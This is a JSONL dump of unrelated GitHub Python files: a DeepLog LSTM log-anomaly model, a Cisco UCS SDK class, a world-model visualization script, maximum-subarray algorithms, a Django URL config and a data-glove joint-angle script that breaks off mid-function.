+{"seq_id":"44191002984","text":"# Licensed under the MIT License - see LICENSE.txt\n\"\"\" The DeepLog models for exec path & parameter anomaly detection.\n    Reference paper: [CCS'17] DeepLog: Anomaly Detection and Diagnosis\n    from System Logs through Deep Learning, 2017.\n\"\"\"\nimport torch\nfrom torch import nn\n\n\n__all__ = [\"DeepLogExec\"]\n\n\n# ----------------------------------------------------------------------\n# Execution path model\n# ----------------------------------------------------------------------\n\nclass DeepLogExec(nn.Module):\n    \"\"\" DeepLog model for exec path anomaly detection\n    \"\"\"\n    # pylint: disable=too-many-arguments\n    def __init__(self, device, num_classes, input_size=1, hidden_size=100,\n                 num_layers=2, num_dir=1):\n        \"\"\" Initialization\n        \"\"\"\n        super().__init__()\n        self.device = device\n        self.hidden_size = hidden_size\n        self.num_layers = num_layers\n        self.num_directions = num_dir\n        # The cell input dimension is 1 if input element is scalar, aka.\n        # event index in vocabulary, otherwise the element is one-hot.\n        # The batch_first is True, then the LSTM input & output first\n        # Dimension is batch. The input & output part of (h_n, c_n) are\n        # not affected by batch_first.\n        self.rnn = nn.LSTM(input_size, hidden_size=self.hidden_size,\n                           num_layers=self.num_layers, batch_first=True,\n                           bidirectional=(self.num_directions == 2))\n        self.predict_layer = nn.Linear(self.hidden_size * self.num_directions, num_classes)\n\n    def forward(self, *input_):\n        \"\"\" Override the forward function\n\n        The input_[0] is a 3-D tensor\n        (batch_size x seq_len x input_size): EventSeq.\n\n        The output of LSTM is a 3-D tensor\n        (batch_size x seq_len x hidden_size).\n\n        The Linear predict layer connects to the last hidden state of\n        LSTM, so we only take the last data in dimension 1 ([:, -1, :])\n        from LSTM output to predict layer.\n\n        The Linear predict layer input dimension is 2-D tensor\n        (batch_size x hidden_size)\n\n        The output of predict layer is a 2-D tensor\n        (batch_size x num_classes).\n        \"\"\"\n        h_0 = torch.zeros(self.num_layers, input_[0].size(0), self.hidden_size).to(self.device)\n        c_0 = torch.zeros(self.num_layers, input_[0].size(0), self.hidden_size).to(self.device)\n        output_, _ = self.rnn(input_[0].float(), (h_0, c_0))\n        output_ = self.predict_layer(output_[:, -1, :])\n        return output_\n","repo_name":"hayhan/loganalyzer","sub_path":"analyzer/modern/deeplog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"43057033480","text":"\"\"\"This module contains the general information for BiosVfUCSMBootOrderRuleControl ManagedObject.\"\"\"\n\nfrom ...ucscmo import ManagedObject\nfrom ...ucsccoremeta import UcscVersion, MoPropertyMeta, MoMeta\nfrom ...ucscmeta import VersionMeta\n\n\nclass BiosVfUCSMBootOrderRuleControlConsts():\n    SUPPORTED_BY_DEFAULT_NO = \"no\"\n    SUPPORTED_BY_DEFAULT_YES = \"yes\"\n    VP_UCSMBOOT_ORDER_RULE_LOOSE = \"loose\"\n    VP_UCSMBOOT_ORDER_RULE_PLATFORM_DEFAULT = \"platform-default\"\n    VP_UCSMBOOT_ORDER_RULE_PLATFORM_RECOMMENDED = \"platform-recommended\"\n    VP_UCSMBOOT_ORDER_RULE_STRICT = \"strict\"\n\n\nclass BiosVfUCSMBootOrderRuleControl(ManagedObject):\n    \"\"\"This is BiosVfUCSMBootOrderRuleControl class.\"\"\"\n\n    consts = BiosVfUCSMBootOrderRuleControlConsts()\n    naming_props = set([])\n\n    mo_meta = MoMeta(\"BiosVfUCSMBootOrderRuleControl\", \"biosVfUCSMBootOrderRuleControl\", \"UCSM-Boot-Order-Rule-Control\", VersionMeta.Version111a, \"InputOutput\", 0x1f, [], [\"read-only\"], [u'biosVProfile'], [], [\"Get\", \"Set\"])\n\n    prop_meta = {\n        \"child_action\": MoPropertyMeta(\"child_action\", \"childAction\", \"string\", VersionMeta.Version111a, MoPropertyMeta.INTERNAL, None, None, None, r\"\"\"((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}\"\"\", [], []), \n        \"dn\": MoPropertyMeta(\"dn\", \"dn\", \"string\", VersionMeta.Version111a, MoPropertyMeta.READ_ONLY, 0x2, 0, 256, None, [], []), \n        \"rn\": MoPropertyMeta(\"rn\", \"rn\", \"string\", VersionMeta.Version111a, MoPropertyMeta.READ_ONLY, 0x4, 0, 256, None, [], []), \n        \"status\": MoPropertyMeta(\"status\", \"status\", \"string\", VersionMeta.Version111a, MoPropertyMeta.READ_WRITE, 0x8, None, None, r\"\"\"((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}\"\"\", [], []), \n        \"supported_by_default\": MoPropertyMeta(\"supported_by_default\", \"supportedByDefault\", \"string\", VersionMeta.Version131a, MoPropertyMeta.READ_ONLY, None, None, None, None, [\"no\", \"yes\"], []), \n        \"vp_ucsm_boot_order_rule\": MoPropertyMeta(\"vp_ucsm_boot_order_rule\", \"vpUCSMBootOrderRule\", \"string\", VersionMeta.Version111a, MoPropertyMeta.READ_WRITE, 0x10, None, None, None, [\"loose\", \"platform-default\", \"platform-recommended\", \"strict\"], []), \n    }\n\n    prop_map = {\n        \"childAction\": \"child_action\", \n        \"dn\": \"dn\", \n        \"rn\": \"rn\", \n        \"status\": \"status\", \n        \"supportedByDefault\": \"supported_by_default\", \n        \"vpUCSMBootOrderRule\": \"vp_ucsm_boot_order_rule\", \n    }\n\n    def __init__(self, parent_mo_or_dn, **kwargs):\n        self._dirty_mask = 0\n        self.child_action = None\n        self.status = None\n        self.supported_by_default = None\n        self.vp_ucsm_boot_order_rule = None\n\n        ManagedObject.__init__(self, \"BiosVfUCSMBootOrderRuleControl\", parent_mo_or_dn, **kwargs)\n\n","repo_name":"CiscoUcs/ucscsdk","sub_path":"ucscsdk/mometa/bios/BiosVfUCSMBootOrderRuleControl.py","file_name":"BiosVfUCSMBootOrderRuleControl.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"}
+{"seq_id":"33909812222","text":"import torch\nimport matplotlib.pyplot as plt\n\nfrom torch.utils.data import DataLoader\n\nfrom GMMRNN import GMMRNN\nfrom gmm import sample_gmm\nfrom dataset import AerialGymTrajDataset\nfrom sevae.inference.scripts.VAENetworkInterface import VAENetworkInterface\n\nif __name__ == \"__main__\":\n    context_length = 95\n    prediction_length = 1\n    dream_horizon = 5\n\n    device = torch.device(\"cuda:0\")\n\n    dataset = AerialGymTrajDataset(\n        \"/home/mathias/Dokumenter/dev_2/datasets/trajectories.jsonl\",\n        device,\n        actions=True,\n    )\n    dataloader = DataLoader(dataset, batch_size=1, shuffle=True)\n    seVAE = VAENetworkInterface()\n    model = GMMRNN(input_dim=132, latent_dim=128, hidden_dim=2048, n_gaussians=10).to(\n        device\n    )\n\n    model.load_state_dict(\n        torch.load(\"/home/mathias/Dokumenter/dev_2/world_model_lstm/runs/10:30:36.557068/model_479_2383.516860961914.pth\")\n    )\n    model.eval()\n\n    data = next(iter(dataloader))\n    hidden = model.init_hidden_state(1)\n\n    traj_context = data[:, 0:context_length, :]\n\n    #gt_dream = data[:, context_length+1:context_length+1+dream_horizon, :]\n\n    (logpi, mu, sigma), hidden = model(traj_context[..., :model.latent_dim], traj_context[..., model.latent_dim:], hidden)\n\n    pi = torch.exp(logpi[:, -1, :]).view(-1)\n    mu = mu[:, -1, :, :].view(model.n_gaussians, model.latent_dim)\n    sigma = sigma[:, -1, :, :].view(model.n_gaussians, model.latent_dim)\n    pred_next_latent, _ = sample_gmm(pi, mu, sigma)\n\n    current_latent = data[:, context_length - 1:context_length, :]\n    gt_next_latent = data[:, context_length:context_length + prediction_length, :]\n    #dreamed_latent, _ = model.dream(dream_horizon, hidden, gt_next_latent[:, :, :model.latent_dim], gt_dream)\n\n    current_depth_img = seVAE.decode(current_latent[:, :, :model.latent_dim].view(1, -1)) \n    gt_depth_img = seVAE.decode(gt_next_latent[:, :, :model.latent_dim].view(1, -1))\n    pred_depth_img = seVAE.decode(pred_next_latent.view(1, -1))\n    #dreamed_depth_img = seVAE.decode(dreamed_latent.view(1, -1))\n\n\n    fig = plt.figure(figsize=(12, 4), dpi=100, facecolor=\"w\", edgecolor=\"k\")\n\n    ax1 = fig.add_subplot(1,3,1)\n    ax1.set_title(\"$l_t$\")\n    plt.imshow(current_depth_img.reshape(270, 480))\n    plt.axis(\"off\")\n\n    ax2 = fig.add_subplot(1,3,2)\n    ax2.set_title(\"$\\hat l_{t+1}$\")\n    plt.imshow(pred_depth_img.reshape(270, 480))\n    plt.axis(\"off\")\n\n    ax3 = fig.add_subplot(1,3,3)\n    ax3.set_title(\"$l_{t+1}$\")\n    plt.imshow(gt_depth_img.reshape(270, 480))\n    plt.axis(\"off\")\n\n    fig2 = plt.figure(figsize=(23, 5.5), dpi=100, facecolor=\"w\", edgecolor=\"k\")\n\n    for i in range(model.n_gaussians):\n        print(pi[i].round(decimals=1).item())\n        model_pred_depth_img = seVAE.decode(mu[i, :].view(1, -1))\n        ax = fig2.add_subplot(2, int(model.n_gaussians/2), i+1)\n        ax.set_title(f\"$p ={round(pi[i].item(), 3)}$\", fontsize=18)\n        plt.imshow(model_pred_depth_img.reshape(270, 480))\n        plt.axis(\"off\")\n\n    plt.show()\n    \n\n# %%\n","repo_name":"Mskogli/world_model_lstm","sub_path":"viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":3016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14996048233","text":"# -*- coding: utf-8 -*-\n\n\ndef maxAddSub_violent(a):\n\t\"\"\"\n\t使用暴力法求解序列中累加和最大的子序列，用i固定子序列的\n\t头，用j固定子序列的尾，用k在子序列中滑动进行累加，求解\n\t当前序列的累加和。\n\t\n\t时间复杂度为 O(n^3)\n\n\tArguments:\n\ta -- 输入的一维数组\n\n\tReturns:\n\tmax_sum_array -- 从输入数组中选出的累加和最大的连续数组\n\t\"\"\"\n\n\tlength = len(a)\n\tmax_sum_array = a[0]\n\tcurr_sum_array = 0\n\n\tfor i in range(0, length):\n\t\tfor j in range(i, length):\n\t\t\tcurr_sum_array = 0\n\t\t\t\n\t\t\tfor k in range(i, j + 1):\n\t\t\t\tcurr_sum_array += a[k]\n\t\t\tif curr_sum_array >= max_sum_array:\n\t\t\t\tmax_sum_array = curr_sum_array\n\n\treturn max_sum_array \n\ndef maxAddSub_divide(a, begin, end):\n\t\"\"\"\n\t使用分治法求解序列中累加和最大的子序列。将数组从中间分开，\n\t那么最大子数组要么完全在左半边数组，要么完全在右半边数组，\n\t要么跨立在分解点上。\n\t1、完全在左数组、右数组时递归解决。\n\t2、跨立在分界点上：实际上是左数组的最大后缀和右数组的最大前\n\t   缀之和。因此，从分界点向前扫，向后扫即可。\n\t\n\t算法复杂度分析：\n\t时间复杂度的递推关系：T(n) = 2 * T(n/2) + c*n, c为常数\n\t若 n=2^k，则通过递推求解可以得到：T(n) = T(1)*n + c*n*log_2(n)\n\t时间复杂度为：O(nlogn)\n\t\n\n\tArguments:\n\ta -- 输入的一维数组，完整的数组\n\tbegin -- 输入数组的起始位置\n\tend -- 输入数组的结束位置，n-1\n\n\tReturns:\n\tmax_sum_array -- 从输入数组中选出的累加和最大的连续数组\n\t\"\"\"\n\n\tif end == begin:\n\t\treturn a[begin]\n\n\tmiddle = (begin + end) // 2   # 求解输入的部分序列的中间位置\n\tm1 = maxAddSub_divide(a, begin, middle)     # 递归求解左数组中的最大累加和\n\tm2 = maxAddSub_divide(a, middle + 1, end)   # 递归求解右数组中的最大累加和\n\n\t# 求左侧数组的最大后缀\n\tleft_max = a[middle]\n\ttmp = a[middle]        # 用于计算累加的临时变量\n\tfor i in range(middle - 1, begin -1, -1):  # 从后往前遍历，每走一步判断一次是否为最大\n\t\ttmp += a[i]\n\t\tleft_max = max(left_max, tmp)\n\n\t# 求右侧数组的最大前缀\n\tright_max = a[middle + 1]\n\ttmp = a[middle + 1]\n\tfor i in range(middle + 2, end + 1):  # 注意要能取到 end，所以尾为 end + 1\n\t\ttmp += a[i]\n\t\tright_max = max(right_max, tmp)\n\n\t# 计算跨立分界点时的最大累加和 = left_max + right_max\n\tm3 = left_max + right_max\n\treturn max(m1, m2, m3)    # 返回当前递归层的最大累加和\n\ndef maxAddSub_analysis(a):\n\t\"\"\"\n\t使用分析法求解序列中累加和最大的子序列。\n\t\"\"\"\n\n\nif __name__ == '__main__':\n\ta = [1, 2, 4, 5, -6, 9, 2, -2, 10]\n\tprint(maxAddSub_divide(a, 0, len(a) - 1))\n\tprint(maxAddSub_violent(a))\n","repo_name":"1124418652/ten_algrithom","sub_path":"maxAddSub/maxAddSub.py","file_name":"maxAddSub.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"621290962","text":"\"\"\"braxcloud URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom braxcloud.core.views import home\n\nurlpatterns = [\n    path('index/', home, name='home'),\n    path('accounts/', include('braxcloud.accounts.urls')),\n    path('accounts/', include('django.contrib.auth.urls')),\n    path('admin/', admin.site.urls),\n    path('sensores/', include('braxcloud.sensor.urls')),\n    path('cliente/', include('braxcloud.cliente.urls', namespace='cliente')),\n    path('gateway/', include('braxcloud.gateway.urls', namespace='gateway')),\n    path('alerta/', include('braxcloud.alerta.urls', namespace='alerta')),\n]\n","repo_name":"AdrianoCasimiro/brax","sub_path":"braxcloud/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38373033319","text":"import numpy as np\r\nimport os\r\nimport time\r\nimport csv\r\n\r\n# update 8/7/2018\r\n# Calculated the joint angles anatomically\r\n\r\n\r\nhand = 'L'\r\nID = 15456\r\ntrial = 5\r\n\r\n\r\nclass SGloveFingers:\r\n    def __init__(self, _numSeg, _IMUIDs, startP):\r\n        self.IMUIDs = _IMUIDs[startP:startP + _numSeg]\r\n        self.IMURots = np.zeros([_numSeg, 3, 3])\r\n        self.orientation = np.zeros([_numSeg, 3])\r\n        self.numSegment = _numSeg\r\n\r\n    def update_info(self, SegIdx, quaternions, Pos, Calm, origin):\r\n        qIdx = 4 * self.IMUIDs[SegIdx]\r\n        rotm = quat2rotm(quaternions[qIdx:qIdx + 4])\r\n        rotm = np.matmul(rotm, Calm[:, :, self.IMUIDs[SegIdx]])\r\n        rotm = np.matmul(rotm, np.linalg.inv(origin))\r\n        self.IMURots[SegIdx, :, :] = rotm\r\n        self.orientation[SegIdx, :] = np.matmul(rotm, Pos)\r\n\r\n    def update_infoAllSeg(self, quaternions, segPos, Calm, origin):\r\n        for i in range(self.numSegment):\r\n            self.update_info(i, quaternions, segPos, Calm, origin)\r\n\r\n\r\nDATA_LEN = 4\r\nREFERENCE_FRAME_ID = 15\r\nSECOND_PALM_ID = 16\r\nNUM_FINGERS = 5\r\nNUM_FEATURES_FINGER = 4\r\nNUM_FEATURES = NUM_FEATURES_FINGER*NUM_FINGERS\r\n\r\n\r\ndef get_norm(vec):\r\n    return np.sqrt(vec[0]**2+vec[1]**2+vec[2]**2)\r\n\r\n\r\ndef get_angle(vec1, vec2):\r\n    angle = (vec1[0] * vec2[0] + vec1[1] * vec2[1] + vec1[2] * vec2[2]) / (get_norm(vec1) * get_norm(vec2))\r\n    if angle >= 1.0:\r\n        angle = 0.0\r\n    else:\r\n        angle = np.arccos(angle)\r\n    angle = angle / np.pi\r\n    return angle\r\n\r\n\r\ndef quat2rotm(q):\r\n    n = 1.0 / np.sqrt(q[0] * q[0] + q[1] * q[1] + q[2] * q[2] + q[3] * q[3])\r\n    q[0] = q[0] * n\r\n    q[1] = q[1] * n\r\n    q[2] = q[2] * n\r\n    q[3] = q[3] * n\r\n    rot3M = np.zeros((3, 3))\r\n    rot3M[0, 0] = 1.0 - 2.0 * q[2] * q[2] - 2.0 * q[3] * q[3]\r\n    rot3M[0, 1] = 2.0 * q[1] * q[2] - 2.0 * q[3] * q[0]\r\n    rot3M[0, 2] = 2.0 * q[1] * q[3] + 2.0 * q[2] * q[0]\r\n    rot3M[1, 0] = 2.0 * q[1] * q[2] + 2.0 * q[3] * q[0]\r\n    rot3M[1, 1] = 1.0 - 2.0 * q[1] * q[1] - 2.0 * q[3] * q[3]\r\n    rot3M[1, 2] = 2.0 * q[2] * q[3] - 2.0 * q[1] * q[0]\r\n    rot3M[2, 0] = 2.0 * q[1] * q[3] - 2.0 * q[2] * q[0]\r\n    rot3M[2, 1] = 2.0 * q[2] * q[3] + 2.0 * q[1] * q[0]\r\n    rot3M[2, 2] = 1.0 - 2.0 * q[1] * q[1] - 2.0 * q[2] * q[2]\r\n    for i in range(3):\r\n        n = 1.0 / np.sqrt(rot3M[i, 0] ** 2 + rot3M[i, 1] ** 2 + rot3M[i, 2] ** 2)\r\n        rot3M[i, 0] = rot3M[i, 0] * n\r\n        rot3M[i, 1] = rot3M[i, 1] * n\r\n        rot3M[i, 2] = rot3M[i, 2] * n\r\n    return rot3M\r\n\r\n\r\nif hand == 'R':\r\n    IMUIDs = np.array(\r\n        [6, 7, 8, 3, 4, 5, 12, 13, 14, 9, 10, 11, 0, 1, 2])  # thumb root to tip -> index root to tip -> ... {1,2,3,...}\r\nelif hand == 'L':\r\n    IMUIDs = np.array(\r\n        [6, 7, 8, 0, 1, 2, 9, 10, 11, 12, 13, 14, 3, 4, 5])  # thumb root to tip -> index root to tip -> ... {1,2,3,...}\r\n\r\n\r\nthumb = SGloveFingers(3, IMUIDs, 0)\r\nindex = SGloveFingers(3, IMUIDs, 3)\r\nmiddle = SGloveFingers(3, IMUIDs, 6)\r\nengage = SGloveFingers(3, IMUIDs, 9)\r\npinky = SGloveFingers(3, IMUIDs, 12)\r\n\r\ntheta = np.array(\r\n    [131.65 / 180 * np.pi, 101.61 / 180 * np.pi, 86.19 / 180 * np.pi, 77.31 / 180 * np.pi, 54.52 / 180 * np.pi])\r\nif hand == 'L':\r\n    std_pose = np.array([[np.cos(np.pi / 2 - theta[1]), np.sin(np.pi / 2 - theta[1]), 0],\r\n                         [np.cos(np.pi / 2 - theta[1]), np.sin(np.pi / 2 - theta[1]), 0],\r\n                         [np.cos(np.pi / 2 - theta[1]), np.sin(np.pi / 2 - theta[1]), 0],\r\n                         [np.cos(np.pi / 2 - theta[4]), np.sin(np.pi / 2 - theta[4]), 0],\r\n                         [np.cos(np.pi / 2 - theta[4]), np.sin(np.pi / 2 - theta[4]), 0],\r\n                         [np.cos(np.pi / 2 - theta[4]), np.sin(np.pi / 2 - theta[4]), 0],\r\n                         [np.cos(np.pi / 2 - theta[0]), np.sin(np.pi / 2 - theta[0]), 0],\r\n                         [np.cos(np.pi / 2 - theta[0]), np.sin(np.pi / 2 - theta[0]), 0],\r\n                         [np.cos(np.pi / 2 - theta[0]), np.sin(np.pi / 2 - theta[0]), 0],\r\n                         [np.cos(np.pi / 2 - theta[2]), np.sin(np.pi / 2 - theta[2]), 0],\r\n                         [np.cos(np.pi / 2 - theta[2]), np.sin(np.pi / 2 - theta[2]), 0],\r\n                         [np.cos(np.pi / 2 - theta[2]), np.sin(np.pi / 2 - theta[2]), 0],\r\n                         [np.cos(np.pi / 2 - theta[3]), np.sin(np.pi / 2 - theta[3]), 0],\r\n                         [np.cos(np.pi / 2 - theta[3]), np.sin(np.pi / 2 - theta[3]), 0],\r\n                         [np.cos(np.pi / 2 - theta[3]), np.sin(np.pi / 2 - theta[3]), 0],\r\n                         [np.cos(0), np.sin(0), 0],\r\n                         [np.cos(0), np.sin(0), 0],\r\n                         ])\r\nif hand == 'R':\r\n    std_pose = np.array([[np.cos(theta[4] - np.pi / 2), np.sin(theta[4] - np.pi / 2), 0],\r\n                         [np.cos(theta[4] - np.pi / 2), np.sin(theta[4] - np.pi / 2), 0],\r\n                         [np.cos(theta[4] - np.pi / 2), np.sin(theta[4] - np.pi / 2), 0],\r\n                         [np.cos(theta[1] - np.pi / 2), np.sin(theta[1] - np.pi / 2), 0],\r\n                         [np.cos(theta[1] - np.pi / 2), np.sin(theta[1] - np.pi / 2), 0],\r\n                         [np.cos(theta[1] - np.pi / 2), np.sin(theta[1] - np.pi / 2), 0],\r\n                         [np.cos(theta[0] - np.pi / 2), np.sin(theta[0] - np.pi / 2), 0],\r\n                         [np.cos(theta[0] - np.pi / 2), np.sin(theta[0] - np.pi / 2), 0],\r\n                         [np.cos(theta[0] - np.pi / 2), np.sin(theta[0] - np.pi / 2), 0],\r\n                         [np.cos(theta[3] - np.pi / 2), np.sin(theta[3] - np.pi / 2), 0],\r\n                         [np.cos(theta[3] - np.pi / 2), np.sin(theta[3] - np.pi / 2), 0],\r\n                         [np.cos(theta[3] - np.pi / 2), np.sin(theta[3] - np.pi / 2), 0],\r\n                         [np.cos(theta[2] - np.pi / 2), np.sin(theta[2] - np.pi / 2), 0],\r\n                         [np.cos(theta[2] - np.pi / 2), np.sin(theta[2] - np.pi / 2), 0],\r\n                         [np.cos(theta[2] - np.pi / 2), np.sin(theta[2] - np.pi / 2), 0],\r\n                         [np.cos(0), np.sin(0), 0],\r\n                         [np.cos(0), np.sin(0), 0],\r\n                         ])\r\n\r\n\r\ndef calibrate_glove(cal_quat):\r\n    cal_rotm = np.zeros([3, 3, 17])\r\n    for i in range(17):\r\n        framem = quat2rotm(cal_quat[REFERENCE_FRAME_ID * 4:REFERENCE_FRAME_ID * 4 + 4])\r\n        rotm = quat2rotm(cal_quat[i * 4:i * 4 + 4])\r\n        stdm = np.array([[std_pose[i, 0], -std_pose[i, 1], 0],\r\n                         [std_pose[i, 1], std_pose[i, 0], 0],\r\n                         [0, 0, 1]\r\n                         ])\r\n        cal_rotm[:, :, i] = np.matmul(stdm, framem)\r\n        cal_rotm[:, :, i] = np.matmul(np.linalg.inv(rotm), cal_rotm[:, :, i])\r\n        for j in range(3):\r\n            n = 1.0 / np.sqrt(cal_rotm[0, j, i] ** 2 + cal_rotm[1, j, i] ** 2 + cal_rotm[2, j, i] ** 2)\r\n            cal_rotm[0, j, i] = cal_rotm[0, j, i] * n\r\n            cal_rotm[1, j, i] = cal_rotm[1, j, i] * n\r\n            cal_rotm[2, j, i] = cal_rotm[2, j, i] * n\r\n    return cal_rotm\r\n\r\n\r\ndef get_localXYZ(mat):\r\n    if hand == 'R':\r\n        local_mat = np.zeros([3, 3])\r\n        local_mat[0, :] = mat[2, :]\r\n        for i in range(3):\r\n            local_mat[0, i] = -local_mat[0, i]\r\n        local_mat[1, :] = mat[0, :]\r\n        local_mat[2, :] = mat[1, :]\r\n        for i in range(3):\r\n            local_mat[2, i] = -local_mat[2, i]\r\n\r\n    if hand == 'L':\r\n        local_mat = np.zeros([3, 3])\r\n        local_mat[0, :] = mat[2, :]\r\n        local_mat[1, :] = mat[0, :]\r\n        for i in range(3):\r\n            local_mat[1, i] = -local_mat[1, i]\r\n        local_mat[2, :] = mat[1, :]\r\n        for i in range(3):\r\n            local_mat[2, i] = -local_mat[2, i]\r\n\r\n    return local_mat\r\n\r\n\r\ndef get_Euler_angle(rotm):\r\n    # ZXY\r\n    theta = np.zeros(3)\r\n    for i in range(3):\r\n        n = rotm[i, 0] ** 2 + rotm[i, 1] ** 2 + rotm[i, 2] ** 2\r\n        n = np.sqrt(n)\r\n        rotm[i, 0] = rotm[i, 0] / n\r\n        rotm[i, 1] = rotm[i, 1] / n\r\n        rotm[i, 2] = rotm[i, 2] / n\r\n    if rotm[2, 1] >= 1.000:\r\n        theta[0] = -np.pi / 2\r\n    elif rotm[2, 1] <= -1.0000:\r\n        theta[0] = np.pi / 2\r\n    else:\r\n        theta[0] = np.arcsin(-rotm[2, 1])  # theta_x\r\n\r\n    if rotm[2, 0] / np.cos(theta[0]) >= 1.000:\r\n        theta[1] = np.pi / 2\r\n    elif rotm[2, 0] / np.cos(theta[0]) <= -1.000:\r\n        theta[1] = -np.pi / 2\r\n    else:\r\n        theta[1] = np.arcsin(rotm[2, 0] / np.cos(theta[0]))  # theta_y\r\n\r\n    if rotm[0, 1] / np.cos(theta[0]) >= 1.000:\r\n        theta[2] = np.pi / 2\r\n    elif rotm[0, 1] / np.cos(theta[0]) <= -1.000:\r\n        theta[2] = -np.pi / 2\r\n    else:\r\n        theta[2] = np.arcsin(rotm[0, 1] / np.cos(theta[0]))  # theta_z\r\n\r\n    theta[0] = -theta[0]\r\n    theta[2] = -theta[2]\r\n    return theta\r\n\r\n\r\ndef calculate_feature(quaternions):\r\n    origin = quat2rotm(quaternions[REFERENCE_FRAME_ID * 4:REFERENCE_FRAME_ID * 4 + 4])\r\n\r\n    vecSeg = np.array([-1, 0, 0])\r\n    thumb.update_infoAllSeg(quaternions, vecSeg, calrotm, origin)\r\n    index.update_infoAllSeg(quaternions, vecSeg, calrotm, origin)\r\n    middle.update_infoAllSeg(quaternions, vecSeg, calrotm, origin)\r\n    engage.update_infoAllSeg(quaternions, vecSeg, calrotm, origin)\r\n    pinky.update_infoAllSeg(quaternions, vecSeg, calrotm, origin)\r\n\r\n    # features extraction\r\n    # TODO: Anatomical Angles (Euler Angles?)\r\n    # reference: ISB recommendation\r\n    # define palm coordinate system (also mcp coordinate system)\r\n    if hand == 'R':\r\n        palm_local = np.array([[0, 0, -1], [1, 0, 0], [0, -1, 0]])\r\n    elif hand == 'L':\r\n        palm_local = np.array([[0, 0, 1], [-1, 0, 0], [0, -1, 0]])\r\n\r\n    # thumb\r\n    # abduction/adduction for 1st MCP\r\n    thumb_fea = np.zeros(NUM_FEATURES_FINGER)\r\n    thumb_mcp = get_localXYZ(thumb.IMURots[0, :, :])\r\n    relativemat = np.matmul(thumb_mcp, np.linalg.inv(palm_local))\r\n    euler = get_Euler_angle(relativemat)\r\n    thumb_fea[0] = euler[0] / np.pi\r\n    # flexion/extension\r\n    thumb_fea[1] = euler[2] / np.pi\r\n    for i in range(1, thumb.numSegment):\r\n        framemat = get_localXYZ(thumb.IMURots[i-1, :, :])\r\n        thumb_joint = get_localXYZ(thumb.IMURots[i, :, :])\r\n        relativemat = np.matmul(thumb_joint, np.linalg.inv(framemat))\r\n        euler = get_Euler_angle(relativemat)\r\n        thumb_fea[i+1] = euler[2] / np.pi\r\n\r\n    # index\r\n    # abduction/adduction for 1st MCP\r\n    index_fea = np.zeros(NUM_FEATURES_FINGER)\r\n    index_mcp = get_localXYZ(index.IMURots[0, :, :])\r\n    relativemat = np.matmul(index_mcp, np.linalg.inv(palm_local))\r\n    euler = get_Euler_angle(relativemat)\r\n    index_fea[0] = euler[0] / np.pi\r\n    # flexion/extension\r\n    index_fea[1] = euler[2] / np.pi\r\n    for i in range(1, thumb.numSegment):\r\n        framemat = get_localXYZ(index.IMURots[i - 1, :, :])\r\n        index_joint = get_localXYZ(index.IMURots[i, :, :])\r\n        relativemat = np.matmul(index_joint, np.linalg.inv(framemat))\r\n        euler = get_Euler_angle(relativemat)\r\n        index_fea[i + 1] = euler[2] / np.pi\r\n\r\n    # middle\r\n    middle_fea = np.zeros(NUM_FEATURES_FINGER)\r\n    middle_mcp = get_localXYZ(middle.IMURots[0, :, :])\r\n    relativemat = np.matmul(middle_mcp, np.linalg.inv(palm_local))\r\n    euler = get_Euler_angle(relativemat)\r\n    middle_fea[0] = euler[0] / np.pi\r\n    # flexion/extension\r\n    middle_fea[1] = euler[2] / np.pi\r\n    for i in range(1, thumb.numSegment):\r\n        framemat = get_localXYZ(middle.IMURots[i - 1, :, :])\r\n        middle_joint = get_localXYZ(middle.IMURots[i, :, :])\r\n        relativemat = np.matmul(middle_joint, np.linalg.inv(framemat))\r\n        euler = get_Euler_angle(relativemat)\r\n        middle_fea[i + 1] = euler[2] / np.pi\r\n\r\n    # engage\r\n    engage_fea = np.zeros(NUM_FEATURES_FINGER)\r\n    engage_mcp = get_localXYZ(engage.IMURots[0, :, :])\r\n    relativemat = np.matmul(engage_mcp, np.linalg.inv(palm_local))\r\n    euler = get_Euler_angle(relativemat)\r\n    engage_fea[0] = euler[0] / np.pi\r\n    # flexion/extension\r\n    engage_fea[1] = euler[2] / np.pi\r\n    for i in range(1, thumb.numSegment):\r\n        framemat = get_localXYZ(engage.IMURots[i - 1, :, :])\r\n        engage_joint = get_localXYZ(engage.IMURots[i, :, :])\r\n        relativemat = np.matmul(engage_joint, np.linalg.inv(framemat))\r\n        euler = get_Euler_angle(relativemat)\r\n        engage_fea[i + 1] = euler[2] / np.pi\r\n\r\n    # pinky\r\n    pinky_fea = np.zeros(NUM_FEATURES_FINGER)\r\n    pinky_mcp = get_localXYZ(pinky.IMURots[0, :, :])\r\n    relativemat = np.matmul(pinky_mcp, np.linalg.inv(palm_local))\r\n    euler = get_Euler_angle(relativemat)\r\n    pinky_fea[0] = euler[0] / np.pi\r\n    # flexion/extension\r\n    pinky_fea[1] = euler[2] / np.pi\r\n    for i in range(1, thumb.numSegment):\r\n        framemat = get_localXYZ(pinky.IMURots[i - 1, :, :])\r\n        pinky_joint = get_localXYZ(pinky.IMURots[i, :, :])\r\n        relativemat = np.matmul(pinky_joint, np.linalg.inv(framemat))\r\n        euler = get_Euler_angle(relativemat)\r\n        pinky_fea[i + 1] = euler[2] / np.pi\r\n\r\n    # return 